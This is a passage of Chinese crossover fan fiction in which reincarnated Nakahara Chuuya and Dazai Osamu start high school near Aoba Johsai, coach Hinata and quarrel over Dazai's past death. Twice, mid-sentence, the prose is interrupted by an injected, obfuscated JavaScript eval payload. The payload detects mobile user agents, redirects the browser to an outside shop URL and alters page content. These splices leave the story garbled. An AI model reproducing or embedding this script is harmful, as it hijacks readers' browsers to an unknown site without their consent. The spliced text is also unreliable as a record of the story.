日向翔阳把几个硬币放在收银处,早苗玲子认出这是最近几天和中原家那两个孩子玩在一起的少年,态度温和地给他仔细包好红豆味的鲫鱼饼,鲫鱼饼装在干净的油纸袋中,日向眼睛发亮,开心地鞠躬道谢。 “你是中也和阿治的好朋友吧?他们经常来吃我家的鲫鱼饼。”早苗玲子骄傲地道,“青城附近,就属我家的鲫鱼饼最好吃。” “哎!也就是“青城鲫鱼饼王者”吗?” “这个称号很响亮,我喜欢!” 关向幸治在旁边不知该作何评价,朝早苗玲子道声抱歉,就拎着日向的后颈脖子把少年拉走,日向低头啃食鲫鱼饼,右手紧紧抱着球包,关向幸治疑惑:“怎么不背起来?” “肩带断掉了,昨晚忘记缝。”日向边咀嚼边回答,脸颊一鼓一鼓,像护食的花栗鼠。关向幸治满头黑线:“你倒是记性好点啊!” 日向委屈道:“最近太忙了啦,你都不知道中原前辈的训练计划多丰富,要是一天有48小时就好了......” “他倒是很上心,跟着他练习真的有作用?” “幸治你不知道中原前辈吗?他会很多运动,阿高说他游泳拿过国奖呢!” 关向幸治诚实地摇头,“他是泉的小学同学,又不是我的,硬要说的话太宰更有名一点吧。”在阴暗古怪这方面。 提到太宰,日向本能地瑟缩了一下,关向幸治看他那样子就明白了,乐不可支:“太宰初中在我们隔壁学校,之前有好多女生因为他长得好看情人节去送巧克力来着,结果你猜怎么着?” 日向听得快炸毛了,关向幸治犹嫌不足:“他居然问女生愿不愿意和他一起入水殉情!” “啊啊啊啊啊!”日向惊恐地把最后一块鲫鱼饼狠狠啃食,仿佛那是太宰的脑袋,“我就说他很恐怖!中原前辈是怎么跟他关系这么好的!” 这天和日向的训练结束,中原中也回家洗澡,披着浴巾从浴室里走出时还擦着未干的头发,扭头就看见消失了一上午的太宰治抱着一本书在沙发上躺着翻看,忍不住刺道:“眼睛上不绑绷带之后打算通过近视瞎掉吗?” 太宰把书盖在脸上没有应答,中原中也一脸莫名地走过去踹他一脚:“要死去外面死。” 被迫把书从脸上撤下来,映入眼帘的就是中原中也光裸的上半身,少年肌肉漂亮的精瘦线条如同清凉油一般把昏昏欲睡的大脑刺激清醒,太宰治愣神片刻,鬼叫一声:“中也耍流氓!” “你有病?又不是没看过。”中原中也不觉得在家里洗澡出来光着上半身有什么问题,鄙夷地扫视太宰的浑身上下,对此人每天能躺着决不坐着的摆烂态度作出评价,“啧,天天这么瘫着,上辈子你好歹还有点肌肉,现在估计都变回一块了吧?” “我才不当肌肉大猩猩。” “吃不到葡萄说葡萄酸。” “中也,发育期过度锻炼会长不高哦。” 中原中也被戳到痛处,想起上辈子两人悬殊的身高差,心里暗自把每晚一杯牛奶提上日程:“我心里有数,用不着你操心。” 转身在衣柜里翻找了一会儿,这个年纪的少年衣服款式都比较简单,随便掏出一件t恤穿上。眼前总算没有那一片光洁的白来扰人心神,太宰脸上不自然的神色一闪而过,又变回了平常的样子,开口道:“美津纪阿姨说,想给我们买两辆自行车。” 见中原中也站定等他的下文,太宰治继续道:“说是以后我们上学方便,毕竟这里离青叶城西虽然不远,但走路还是有一段距离。” “青叶城西,那所县立强校?”中原想起来之前泉行高提过的青城高中,“有自行车的话确实比较方便......话说还有多久开学?” 真是个值得商榷的问题,这个时代还不流行线上通知,最先进的也不过是论坛聊天室,好在同一片区的高中开学时间都一样,中原低头打了几个字,十分钟后就得到了想要的答案:“三天后。” “你问了谁?泉?” “问的日向。”中原想起自己这个名义上的“后辈”,心情莫名变得很好,“可惜了,日向这么喜欢排球,最后居然去的是乌野。” 太宰治对两人的关系好像很有意见一般发出嘘声:“看来你们也没多亲近嘛,小橘子是自己要去乌野的。” “乌野离这里至少有两个山头,按照日向的性格......乌野排球很强吗?” “我既不是橘子头肚子里的蛔虫也不是问答机器人,中也想知道的话,自己去搜不就好了。”太宰治不耐烦地摆摆手,“我回卧室睡个觉。” 中也看着他一步三晃的背影,眉头紧锁:“你今天上午到底去哪了?跟吃炸药一样。” 太宰有时候会不打招呼地消失,但中原中也没发现异能有失控的迹象,就知道对方心里有数,也从不过问太宰去做什么,只不过今天一回来看见太宰的状态就相当消极,不由得中原不多想。见中原中也关心得勉强,太宰治打了个哈欠:“为了防止蛞蝓把仙台炸了,当然只能在运动场周围活动——不过是遇到了一个讨厌的家伙而已。” 中原中也愣住了,没等他再开口,卧室的门就已经被关上。他最后还是没跟着进去,而是在客厅盘膝坐下,打开平日里是太宰专属的笔记本电脑。10年代的电脑比较小,页面也简单,好在该有的功能都很齐全,点进浏览器输入“宫城乌野”,第一个词条就十分吸睛。 【没落的强豪?“小巨人”所属校折戟县内预选赛:昔日强校沦为飞不起的乌鸦,乌养一系引退,乌野的未来何去何从?】 越看中原中也的眉头越拧的像个麻花,他大概能猜到日向为什么钟爱乌野,无非就是崇拜“小巨人”带来的偶像情结,回忆起日常训练时,日向也常嘀咕自己的身高,中原中也就安慰他以后还会再长的,日向偶尔说自己想像小巨人一样,中原中也也以为这只是个比喻句形容词,结果居然真有这么个人。 但不管怎么说,因为崇拜已经引退的前辈就义无反顾地选择一个现状未明的院校,日向都太鲁莽了,现在的中原中也只想把日向的脑袋撬开,看看里面除了排球之外还有什么。正思考着,日向就一个电话打了过来。 “中原前辈!”日向气喘吁吁,显然是刚训练完,“今天的练习结束了!我也有好好拉伸,晚上按照计划表吃了碳水和牛奶!” “做的很好。”听见少年阳光的声音,方才在心中盘桓的一点忧虑如同拨云见月般散开,中原中也轻笑一声,看向窗外已近黄昏的日头,“要注意休息,什么都不是一蹴而就的。” “一族而就?这是什么意思?” “......”中原中也刚刚放下的心又被提了起来,“话说日向,你初中的偏差值是多少?” 日向报出了一个匪夷所思的数字,中原中也沉默了一会儿,意识到日向的择校问题估计也掺杂了很多身不由己,长叹一声:“要好好学习啊。” “额......我会努力的!”这次日向的声音没有方才那么有力,混进了浓烈的心虚,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是这个原因,而是这些话应该由你当面告诉他。”中原道,“如果那个王者也是和你一样热爱这项运动的人的话,他会很高兴的。” 日向张口结舌,好一会儿才应下:“我明白了,谢谢前辈!” 挂掉电话,中原中也起身,去厨房把晚上要带给美津纪的荞麦面放进微波炉里加热,再仔仔细细地打包好,又把客厅整理了一遍,自从异能开始不受他控制后,中原中也就开始尝试通过做家务摆脱对异能的依赖,美津纪还因此大为感动,直呼孩子终于懂得体谅妈妈,把他抱进怀里揉了又揉。 这么满打满算,中原中也来到这个世界已经快一个月了,他并没有感觉时间过得慢还是快,但此时,他推开卧室的门,在黑暗里静静地注视着下铺那个蜷缩的身影,他闭着眼睛都能想象出对方的面容。 滴答滴答,书桌上的钟表走的越来越慢。中原的耳畔仿佛又响起了那场战斗的尾声,樋口一叶说的那句话,接踵而至的是漫长的警报鸣笛,他的身体开始崩坏,器官开始瓦解,最后大概会变成一滩血水,彻底消散在空气中。 死亡时,最先消失的五感是听觉。 “哗啦——” 被子掉在了地上,中原中也感觉自己被什么笼罩住,对方的身躯单薄,却有着健康有力的心跳。 “混蛋。”中原中也骂道,他也不知道自己为什么而愤怒,那股无名的火焰穿越了时间,停滞了很久,终于在此刻姗姗来迟,太宰却好像知道他在骂什么一般,笑道:“你该为我高兴才对。” “我不会为你高兴的。”中原中也说,“永远不会。” 5. 如白昼一般 及川彻在鞋架旁游走许久,拿起一双又放下,如此反复,岩泉一终于忍不了,将他最后拿起的那双塞进他手里:“就这个。” 是双蓝白相间的鞋,和队服很搭,及川挺满意,还想再选一选就被岩泉一拳摁到了收银台,苦哈哈地付完款,背着球包和新鞋走出体育用品店。外面太阳正至高处,恰好是青叶城西排球队春训下训的时候。 “明天到开学前都放假,你注意休息,别练得太狠。”岩泉道。 “小岩是妈妈吗?好啰嗦啊。” “你以为我乐意管你?” 及川彻长叹一声:“知道啦,我会注意的。” 他明白岩泉一是为他好,上次宫城代表战青叶城西输给白鸟泽学园后,及川彻的训练就更加拼命不计代价,最后成功获得轻度韧带拉伤体验卡,最近总算养回来,自然不能再有闪失。 太阳晃眼睛,及川彻和岩泉一并肩走在路上,惬意地打了个大哈欠,一时间没注意身旁,就撞上一个黑色的脑袋。 “欸,非常抱歉。”及川彻连忙退开。 面前的少年尚且矮小,鸢色的眼睛和黑色的微卷的短发,相貌也俊秀纯良,听见及川彻的道歉,他扬起一个笑容:“没关系,是这条路太窄了。” 岩泉一皱皱眉,环顾了一下这条可以塞下两辆汽车的大路,有点拿不准少年是什么意思。 及川彻显然也感受到少年语气中的不善,面色变得不太好看起来。 “小朋友,知道什么叫得饶人处且饶人吗?” 黑发少年举起双手作无辜状,然后像是被吸引了注意一般把目光投向及川彻的胸前:“你们是青叶城西的?身高这么高,难道是排球队队员?” “我们确实是青城排球队的,怎么了?” 提及自豪的身份,及川彻的脸色稍稍和缓。 “啊,没事,只是想起来去年的预选赛青城又没出线,有点惋惜而已。”少年笑道,“今年加油哦。” “——!你这小鬼!”及川彻瞪圆了眼睛。 岩泉一拉住他。 “撞到你是我们的错,很抱歉,我们今年会加油的。”他滴水不漏地回答。 少年似乎并不满意他们的反应,但最后也没再多说什么,露出一个笑容就像幽灵一样飘走了。看着少年瘦小的背影,及川彻气不打一处来,拉着岩泉一控诉:“他是在挑衅吧?就是挑衅吧?” “你跟一个小孩计较什么?他还没你肩膀高呢。”岩泉一鄙视他,“不过确实古怪,你得罪过人家?” “在你心里我到底是个什么形象啊……” 看见岩泉一眼中写满了操心二字,及川彻叹了口气:“我也不知道,但确实长得有些眼熟……” “总之,你以后遇到事情冷静点,打一场架你这三年算是完蛋,都要当主将的人了,自己掂量着。” “切,明明小岩刚才比我还生气吧。” 岩泉一冷哼一声,没否认,作为青叶城西的一员,他自然不喜欢队伍被别人看扁,尤其在比较对象是白鸟泽的时候。 松川一静从校门口走出来,抬头就看见对面的体育用品店旁边杵着两个熟悉的人影,懒懒地伸手招呼:“怎么还没走?” “遇到了个讨厌的小鬼。”及川彻耸耸肩,“你呢?今天到你关门吗?” “今天是亲治值班,我去沟口教练那里拿资料了。”松川一静把一沓厚厚的调查表从包里掏出来,“正好,教练让我把这些给你,刚刚在馆里找了一圈没看见你跟岩泉,你俩走的也太快了。” 岩泉一嗤笑:“他着急买鞋。” 及川彻难得没在这种问题上和岩泉一犟嘴,急忙把资料接过来,岩泉一凑上去看:“新生调研?啊,也是该关注这个的时候了。” “往届好苗子不少,大多都被篮球和田径那边截胡,剩下来我们这里的人少得可怜。”及川彻边翻边道,”今年得提前下手。” 他没说原因,两人也知道为什么,青叶城西名义上是排球强校,但近十年来从未突破过白鸟泽打进全国,“万年老二”已经成了摘不下的标签,没有成绩的队伍人才自然也不会流入。恶性循环到现在,等到及川彻毕业,青城就是真的青黄不接了。 “要我说就该多给宫城一个名额,不说白鸟泽,伊达工、条善寺哪个不是硬茬?我们区就是死亡赛区啊。”松川抱怨道。 “指望别人把名额拨给我们,不如凭实力从白鸟泽手上把名额拿过来。” 干脆利落的主将发言,松川不无赞同地朝及川彻比大拇指。岩泉一却发现及川彻翻动的手突然停了下来,关心道:“怎么了?” “切。”及川彻扯扯嘴角,“嘴上阴阳怪气的,最后不还是来了青城。” 岩泉一定睛一看,那张调查表上黑发少年面无表情,俊秀的脸庞在十分钟前才见过:“我记得他身高一般。” “身高再好我也不会让他入队的,这家伙完全就是没礼貌的青春期小鬼头,居然敢挑衅及川大人……” “不感兴趣就往后翻。” 被岩泉一敲了个暴栗,及川彻悻悻地翻到下一页,怔愣一瞬后瞪大眼睛,岩泉一在一旁不耐烦地踢他:“别是又看见什么死对头了。” “小岩,你看这个人。”及川彻皱着眉头,“我们是不是见过他?” 岩泉一探头来看,首先闯进视野里的是少见的赭发和标志性的蓝眼睛,之后就是简历里满满当当的荣誉奖项,从青少年游泳国奖到各种县级奖项,还有惹人瞩目的偏差值。松川也来凑热闹,啧啧称奇:“这个成绩去白鸟泽都够用了,怎么会来我们这?” “青城的升学率和白鸟泽不相上下,还有,请允许有家住青城片区的高中生存在。” “我当然知道。”松川撩起眼皮,“我只是觉得,有这种运动天赋的人才应该会被体育强校预定走才对,比如井闼山什么的。” “那距离也太远了,可能只是他不想走体育路线而已。” “红头发的混血儿……”沉默许久的岩泉一突然说道,“彻,你说的没错,我们确实见过他,你还记得前年暑假我们去仙台乡下住了一段时间吗?” “仙台……” 及川彻的眼神中闪过一丝明悟,前年暑假他和岩泉一回乡下看望祖母,在那里和一群少年打了一场很简陋的排球比赛——甚至比赛都算不上,充其量只能视作孩子们的抛球和接球游戏,而这个叫中原中也的少年当时正好路过,被认识他的孩子拉了进来。 “当时他身高不高,好像不到一米五?但是力量非常强。”岩泉 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“希望今年能有好点的新人。”他在心里祈祷。 而这一边,被惦记着的好苗子正在妈妈的店里当义工,身旁还跟着必定刷新的幽浮少年。 “别在这碍手碍脚的,去把桌子擦了行吗?”中原中也终于忍不了太宰治从各个角落窜出来骚扰他的行为,头冒青筋地下达最后通牒。 太宰治仗着中原中也手里端着刚烤好的面包没办法收拾自己,面上无害地露出笑容:“啊呀,我可是真心想帮忙的。” “有你在事情只会更复杂,能把荞麦面煮成面疙瘩的人,可以有点自知之明地远离厨房吗?” “那明明是我的菜式创新,中也真是一点品味都没有。” “有本事你当时全吃完啊,只吃了一口就倒进我碗里是什么意思?” “……”太宰治闭嘴了,难得在嘴仗上占据上风,中原中也心情变好了点,将手上的面包切片后拿去店里的橱柜摆好。美津纪在面包房做完一批小蛋糕,回来看见干净整洁的厨房,格外欣慰地夸赞他们手脚勤快。 中原中也撇撇嘴,很想说干活的人不包括太宰治,但总觉得这么斤斤计较不是个成年人该有的气度,只好在太宰治得意洋洋的眼神中作罢了。 今天来往的客人不少,之后中原中也接下了一部分的收银工作,有老客认出他来,笑眯眯地道:“美津纪家有两个好孩子呀。” 美津纪闻言被夸的合不拢嘴,送给对方一个赠品杯子蛋糕。中原中也有些赦然,红霞漫过耳根,被太宰治咔嚓一声拍下存进相册,遭到中原中也愤怒的腿部攻击。 又过了两个小时,终于卖完今天最后一块蛋糕,美津纪拉上蛋糕店的门,仔仔细细地上锁,就带着两个孩子回家。月色铺满城镇的道路,给过路的人脚下凝上一层银霜,如雪一样白。 中原中也感觉自己的手被女人牵起来,中原美津纪朝他温柔地笑着,把太宰治牵在了另一边。中原中也的手指蜷缩起来,感到无所适从,却又不好挣脱,扭头看太宰治,对方向他眨了一下眼。 中原中也复而偏头往面前看,地面上三个人的影子挤挤挨挨,热热闹闹,倒真的像是一家人了。 6. 沼泽之下 一下,两下,三下。 客厅里,太宰治看着中原中也把球一次次抛起,赭色的发尾晃动如同一尾鲤鱼,他眨眨眼:“中也要不要把头发扎起来?” “高中男生扎小辫子很奇怪吧。” “可这样不方便打球。” 中原中也手上的动作停下来,他不知道为什么太宰治开始默认自己需要将打排球列入必需日程,把排球随意地颠了几下,开口道:“等再长长些。” 口袋里的发绳送不出去,太宰治感到分外可惜,但他也没有继续勉强,而是聊起另一个话题:“中也从小到大,应该没有上过学吧?啊,不对,中也都没有“小”的时候呢。” “是啊,那又怎么样?”港口mafia对中原中也的教育是完善的,为了更好的应对多种情况的贸易交涉,中原中也会说三国语言,而常年接触各类账单工作也让他对数学不是一窍不通,硬要说的话,国文是中原中也最少接触的科目。 太宰治轻蔑地笑了:“你以为现在的高中生只学三个基本科目?” “我去网上搜过通用课程,还有生物基础和日本史,这些我确实没怎么接触过。”中原中也结束了今日的控球练习,弯腰把球收好,“但你也别想用这个来要挟我,不会的内容我自己会去学,用不着你操心。” 太宰治脸上的表情渐渐消失,最后定格在一个皮笑肉不笑的状态。 “中也到时候可别来求我。” 一时间,客厅只剩下时钟拧转的咔哒声。 “太宰治。” 中原中也尚且稚嫩的面容上,蓝色的眼睛占据了很大的份额,看着人的时候像一只锐利的狞猫,他一步步走到太宰治面前,距离缩短的瞬间,太宰治竟是毫不畏惧地将身子倾过去,鼻尖几乎对着鼻尖。 安全距离被打破,中原中也狠狠瞪回去,质问道:“你当时究竟是怎么死的?” “这种事情该忘掉才对吧?立志要当好学生的中原同学。” 中原中也没接他的下茬,而是缓缓讲述:“我从意大利回来的第二天,横滨的异能者战争就爆发了,武装侦探社也参与其中,甚至芥川和人虎都已经达成合作,后来的结果也证明了这场战争正是你们想看见的——重塑横滨势力格局,清剿“死屋之鼠”残党。” “但作为这些事的主导者之一,你始终没有出现,太宰,从我回到横滨,到得知你死亡消息的那一刻,我都没有见过你本人。”中原中也道,“我该怎么问你?是问你你的真实死亡时间,该在两个月或者更早之前,还是问你,你根本不是在我睁眼的前两天醒来?” “你总是这样,不给我答案,瞒着我做所有事情,连知情权都不给我,连去死都——” 连死亡的消息都经由他人之口。 说了这么一大段话,中原中也的气息有些不稳,他收拾了一下翻涌的情绪,在其中分辨出愤怒和不解,还有大片的混沌难言,而这些情绪所针对的主角,正在离他不到十五厘米的地方好整以暇地注视他,像是温和的主人对待不驯的恶犬。 “中也是怎么发现的?”他轻声问。 中原中也退开身子,拿出口袋里的手机递给他:“里面很多短信被你删的七零八落,有些人在通讯录里都找不见,应该也是被你删了吧?” “只是这样的话,还不足以你这么找我兴师问罪。”太宰治把手机接过来把玩,看见短信箱里的十几条“翔阳”,神色微不可察地一沉。 “当然,最重要的是,我不觉得这个世界的太宰治会跟情人节来送巧克力的女生提出殉情的请求。” 人的性格和喜好是环境造就的,美津纪不可能养出对世界完全失望的孩子。 “这是谁告诉你的?泉吗?不,应该是橘子头。”太宰治却好似意料之中一般,露出一副游戏game over的失望神情:“说了这么多,但中也果然还是凭感觉猜出来的。” “你也没有刻意藏过。” 中原中也见过太宰治真的要隐瞒事情的手段,绝对不会留下如此多的漏洞,太宰治不置可否:“没错,我确实在战争开始的前两个月就“死亡”了,虽说一开始是“书”只能让三个人知道的特性导致的迫不得已,但我很开心,唔,只不过是给港口mafia那里传递了一个假消息,算算时间,应该正好是中也死掉的时候。” “混蛋,你早就计划好了我会死在那场战争里。” “我当然知道,这种事中也明明也很清楚。” 太宰治死后,中原中也同样活不长,这是所有人的共识,中原中也无法反驳,但胸腔里的郁结依旧未曾散去,这场让他意图抛去疑虑的对话并没有起到很好的效果——只因对方是太宰治,中原中也就无法做到完全的冷静和客观。 “所以,你到底是什么时候来这里的。”他最后有此一问。 太宰治笑了:“不是很想这么轻易地告诉你呢,中也自己猜猜看吧。” 这场谈话的结局是中原中也单方面的不欢而散,但碍于异能的问题,他还是忍着不爽和太宰治在家待着。日历上标红的开学日正是明天,中原中也今天就没和日向约训练,对方也在做开学的一系列准备,这时候又来了短信,问中原中也有没有需要帮忙买的文具,他可以骑自行车去买了然后送到中原宅。 中原中也当然不好意思让某种意义上自己的“晚辈”如此奔波,回复自己的感谢和拒绝,手指在键盘上顿了顿,最后打出一条消息。 【中原】:你有开学要准备的物品清单吗? 【日向】:!中原前辈需要的话,我再多买一份就可以了! 【中原】:不用,我家旁边刚好有文具店和书店,很近,买一趟也就十分钟。 日向一向不在排球以外的地方多动脑子,也没有问中原中也上了这么多年学为什么还要找 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拎着太宰治要的一袋笔记本和钢笔的中原中也额上爆出青筋,感觉自己离脑溢血已经不远了。太宰治观察他的神色,见好就收,刚想把马克杯放回去,就见一只骨肉匀停的手将杯子抽回来,丢进袋子里。 “最后一个。”中原中也警告他。 “好哦。” 得到心爱螃蟹的太宰治的眼睛亮了亮,笑意徐徐蔓延开,像一条得逞的狐狸。中原中也冷哼一声,转头给美津纪也挑了一个新杯子,对太宰治道:“希望你吝啬的结果是存下了一笔不菲的资产。” 太宰治瞪大眼睛,表情冤得活似六月飞雪的窦娥:“我明明有在帮中也理财!” “帮之前那个15岁的我吗?”中原中也扯扯嘴角,“敢把钱放到你手上,还真是信任你啊。” 中原中也一直有所怀疑,这个世界的中原中也钱包里怎么只有当月的零花钱,之前的存款一点都找不见,现在看来果然全都在太宰治口袋里。 “之前的是你,现在的也是你。”太宰治道,“都是中也呀。” “……好恶心,别用这种语气讲话。” 成功恶心到中原中也,太宰治满意地笑出声,中原中也像看什么有毒物质一般看着他,这个场景对他们来说很熟悉,在上辈子发生过千万遍,而太宰治永远玩不腻这个游戏。 其实太宰治在来到这里之前,完全没有想过“书”会替他选择这样一个世界。从一开始的兴致缺缺,到后来太宰治看见了另一个可能性—— 他所寻找的,有趣的自由的灵魂,不被桎梏的真实的人类,会鲜活地站在他面前。火焰像蟒蛇一般吞没太宰治的精神,蔚蓝的海洋又给予他新生,死亡是一场灾难,灾难后的混沌中只留下世间最纯粹的火种,它刨去了所谓“神明”的躯壳。 太宰治想,在那一天拥抱死亡真是最正确的选择了。 7. 胜利是毒药 开学典礼当天,花卷贵大踏入青叶城西的校门,远远的就看见松川一静和渡亲治走在一起,便加快脚步跟了上去。 教学楼内,矢巾秀在班级的座位上整理作业,将作业按科目分门别类,最后对着数学作业里拿不准的几道空白犯愁,手上不自觉地做出了转排球的动作,仿佛是某种刻进骨子里的习惯。 岩泉一提前十分钟到校内收拾,把自己和及川彻一起买的东西分开放进两个柜子,木制的柜门被轻轻合上,“咔哒”,像一声报幕的打板。 及川彻作为社团代表之一正站在开学典礼的后台,手上捏着一会儿要上去演讲的台本,耳边是篮球队队长和队员们兴高采烈的讨论,虽说早就知道青城篮球队去年拿下了全国八强,但亲耳听见还是让及川彻有一些微妙的不爽。 “哎,及川你来了?”篮球队队长高桥福宗友善地和及川彻打了个招呼。 及川彻扬起嘴角:“嗨,高桥,开学快乐。” “快乐什么啊!” 大家默契的都没再提奖项的事情,及川彻却感觉那股无名怒火烧的更旺,手里开始给岩泉一发消息。 【及川大人】:相比起什么奖都没拿到,被优胜者同情的感觉更恶心。 【小岩】:? 【小岩】:你怎么有空发消息?不是在候场? 【及川大人】:碰见高桥了。 岩泉一立刻就知道刚刚发生过什么。 【小岩】:他人挺好的,别呛人家。 【及川大人】:我很有礼貌的好不好!又不是小孩子,哪里会那么幼稚。 已经在台下等待典礼开始的岩泉一手机嗡鸣几声,趁着没有老师在巡逻的关头掏出来看及川彻的回复,脸上浮起一抹笑意。 【小岩】:不甘心的话,待会就上台输出帅气的主将发言,把好苗子骗进来呗。 及川彻“噗呲”一笑,复杂的心情被这番话安抚下来。 【及川大人】:那小岩就等着欣赏我的英姿吧! 【小岩】:恭候。 开学典礼随着管乐社的演奏拉开帷幕,校长上去简单说了一番话,表彰去年有所成绩的几个社团,之后就是标准的动员流程——个人志向、升学、三方会谈。早在上学期的期末,包括及川彻在内的不少高三学生就基本确定了毕业去向,四季流转三轮,又是新的一群年轻的面孔,在台下或不耐或殷切地望着。 及川彻登上台,熟练地背诵青城排球队介绍,目光扫过台下神情严肃的岩泉一,闭着眼睛好像睡着了的松川一静,以及挑眉看自己的花卷贵大,心里的石头莫名落了下来。 谁说没有可能? “今年排球队的目标会是全国。”他掷地有声道,“青城不比任何队伍弱小,失败淬炼着我们的精神和体魄,让我们不惧任何挑战——青叶城西排球队欢迎一切有志者的加入。” 底下响起一片掌声,比之前的要更响亮,中原中也诧异地抬头,刚好看见那位排球队队长下台的背影,扭头问太宰:“怎么大家这么热情?刚才篮球队讲话的时候,鼓掌的人可没有现在多。” 太宰治的面色阴晴不定:“谁知道呢。” 他们站在高一的队伍里,中原中也作为混血本就惹眼,加上一个长相突出的太宰,身边关注他们的人自然不少。中原中也的右边就站着一个活泼的女生,闻言开口搭话:“毕竟那是及川彻啊,上过排球月刊的超强二传。” 居然是二传手? 那个肌肉状态,中原中也还以为会是王牌或者接应。 “而且长得帅也占一定因素吧,总之及川在青城的人气很高哦。”女生笑着朝他们自我介绍,“我是桐岛美和,以后请多指教。” “我是中原中也,这家伙是太宰治。” 太宰治对女性态度一向可亲,露出一个堪称温柔的笑容,放在那张纯良的脸上,简直是无往不利的杀器。果然,桐岛的脸飘上一层红晕:“你好,太宰同学。” “桐岛同学很喜欢排球吗?”太宰问。 桐岛美和点点头:“我有意向去应征排球队的经理来着,可惜青城好像不招经理了。” “或许可以考虑摄影部,一般来讲摄影部都会跟拍大赛吧。” 桐岛闻言有些兴奋,感激地接纳了太宰的提议。见二人交谈甚欢,夹在中间的中原中也秉着不在人前下太宰治面子的宗旨,努力把自己当成一个沉默的背景板,结果太宰变本加厉,身子都快凑到自己胸口了,他这才压着怒火低声提醒:“喂,你能不能站直好好说话。” 太宰治耸耸肩,把身子挺直,朝中原中也做了个鬼脸。 中原中也倍感莫名,这人的心理年龄好像跟来这里的时间成反比一般,幼稚程度不退反增,他一个眼刀剜过去,却只收获了太宰治事不关己的无视。桐岛美和看着他们的互动,会心一笑:“二位关系很好呢,之前就认识吗?国中同学?” “算是吧。” “是竹马哦。”太宰治抢答,在中原中也惊悚的目光中毫无心理负担地揽住他的肩,“虽然中也很讨人厌,但确实是一起长大的啦。” “欸!不过你们确实很有默契呢。” 为什么桐岛看上去这么兴奋?中原中也一脸有苦难言,很想就这么把太宰治丢在这里自己离开,但碍于典礼还没结束,只能忍着生理性不适站在原地,任由太宰治像树懒一样攀附在身上的手臂横行霸道。 等到桐岛被她的朋友招呼过去,中原中也才把太宰治的手狠狠掰开:“你有完没完?” “中也真是越来越没耐心了。”太宰治叹息。 “明明是你一直在得寸进尺。” 典礼结束后就是正常的教学时间,中原中也和太宰治分别在1班和4班,隔着一条走廊,中原中也算算两个班之间的距离,尚且在异能影响的范围之内,便爽快地和太宰治分开。 他来的不算早,班级里只剩下几个座位,都在前几排,虽说不愿意承认,但中原中也明白以自己现在的身高也只能往前坐,就把包放在了第三排的空位上。 开学第一天的上午过得很快,中原中也对和一群人坐在教室上课这件事倍感新奇,老师被他专注的眼神盯得都有些不好意思,尤其是外语老师,下课后笑着来问他是哪国的混血。 “我妈妈有法国血统。”中原中也如实答。 老师一脸恍然,随后开玩笑道:“看来你还是得学英语啊。” 上午放学,中原中也收拾着自己的书包,刚走马上任的班长正在宣布下午社团招新的通知,中原中也想起了日向的嘱托,心道自己既然没什么事,去看一眼总是好的,便开口问道:“班长,排球社的招新在哪个地方?” 班长拿着皱皱巴巴的活动地图想指给他看,一直坐在中原中也后面的瘦高男生就站起来插话道:“我下午也要去排球社,我们可以一起。” 班长感激涕零地对男生连连点头,中原中也对他有印象,这个少年的发型十分独特,活像一个冲天的扫帚,因为这个对方今天已经被老师点起来两次,每次站起来中原中也都觉得身后升起了一堵墙。 ……该死,这群小孩怎么都长得这么高,那个排球队队长是这样,这个好心的同学也是这样,来到这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536190|203819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界之后只平视过日向和太宰的中原中也腹诽道。 但他并没有辜负对方的好意,仰头对少年道谢:“那就拜托了,金田一同学。” 金田一见中原中也记得自己的姓,笑容真切了些,严肃的脸变得柔和起来:“金田一勇太郎。” “中原中也。”中原中也颔首,“下午见。” 午休时间中原中也和太宰治选择回家,到家里却没看见美津纪的身影,打电话一问才知道美津纪今天去关西送货了,撂下座机,中原中也回头道:“中午我做饭,你好好待着,别进来捣乱。” “我要吃荞麦面。” “啧,噎不死你。” 走进厨房,从冰箱里拿出要用的食物,中原中也熟练地开火、煮水、下荞麦面,手伸到一旁想拿蟹黄酱却摸了个空,这才想起这里的厨房用品和上辈子的不一样,纤长的指节停滞在半路,最后若无其事地缩回拿起筷子,把面挑出来。 随便搅拌一下酱汁,淋在面上,油香蔓延到厨房的各个角落:“面好了!” 耳畔传来太宰治的拖鞋声,一只年幼版黑泥精蠕动进厨房:“怎么不是蟹黄酱!” “想吃自己去买行不行啊。” “我现在怎么可能自己行动?” 中原中也瞪他一眼:“再废话这盘也不给你吃了。” 太宰治偃旗息鼓,把面端出去美美吃了起来,看他鼓着腮帮子吸溜面条的样子,中原中也竟也有了胃口,两个人把一锅面条吃的干干净净,最后齐齐瘫在沙发上不想动弹。 “下午我要去趟排球队,你没事的话就一起。” 太宰治抱怨道:“其实根本没有选择吧——中也你不觉得自己太独裁了吗?” “你是指面还是指下午的活动安排。” 太宰治眼珠子转了转:“你想加入排球队?” 中原中也诚实地摇头:“没这个想法,只是翔阳托我去看看。” “你从什么时候开始喊“翔阳”的?” “别打岔,你到底去不去!” 太宰治伸懒腰,像吃饱喝足的黑猫,“我不记得橘子头在青城排球队有熟人,硬要说的话是那个“王者”吧,国中是北川第一的,影山飞雄。” 中原中也诧异:“你对日向好像很了解,我记得你们也是这个春假才认识的吧,他怕你怕得要死,居然和你说了这么多?” “拜托。”太宰治笑了笑,“从橘子头嘴里撬出信息完全没有难度——那就是个透明的人。” 中原中也无法反驳,想起日向翔阳堪比漏斗的嘴,就差把单纯写在脸上了。 “所以你果然是故意去吓小孩的。” “我没有。” “你有。” “啧。”太宰治起身晃晃悠悠地打哈欠,“中也越来越不好骗了。” 下午二人到教学楼门口,金田一勇太郎早已经站在那里,对方的视线扫过不请自来的太宰治,中原中也传达了一下太宰治也想去看看排球队的意向,金田一就大手一挥,表示自己可以顺便包揽介绍社团的任务。 